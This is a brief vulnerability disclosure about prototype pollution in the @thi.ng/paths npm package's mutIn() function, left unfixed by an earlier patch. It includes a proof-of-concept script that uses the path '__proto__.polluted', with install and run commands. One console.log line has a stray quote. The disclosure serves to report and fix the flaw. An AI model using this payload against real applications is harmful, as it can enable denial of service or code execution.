Description

@thi.ng/paths is vulnerable to Prototype Pollution. The vulnerability is due to an incomplete fix. mutIn() function does not have fix implemented.

Proof of Concept

1. Create the following PoC file:

// poc.js
const paths = require('@thi.ng/paths')

console.log("Before: ", {}.polluted")
paths.mutIn({}, '__proto__.polluted', true)
console.log("After: ", {}.polluted)

2. Execute the following commands in the terminal:

npm i @thi.ng/paths # install vulnerable package
node poc.js # run the PoC

3. Check the output:

Before: undefined
After: true

Impact

Prototype Pollution leads to Information Disclosure/DoS/RCE.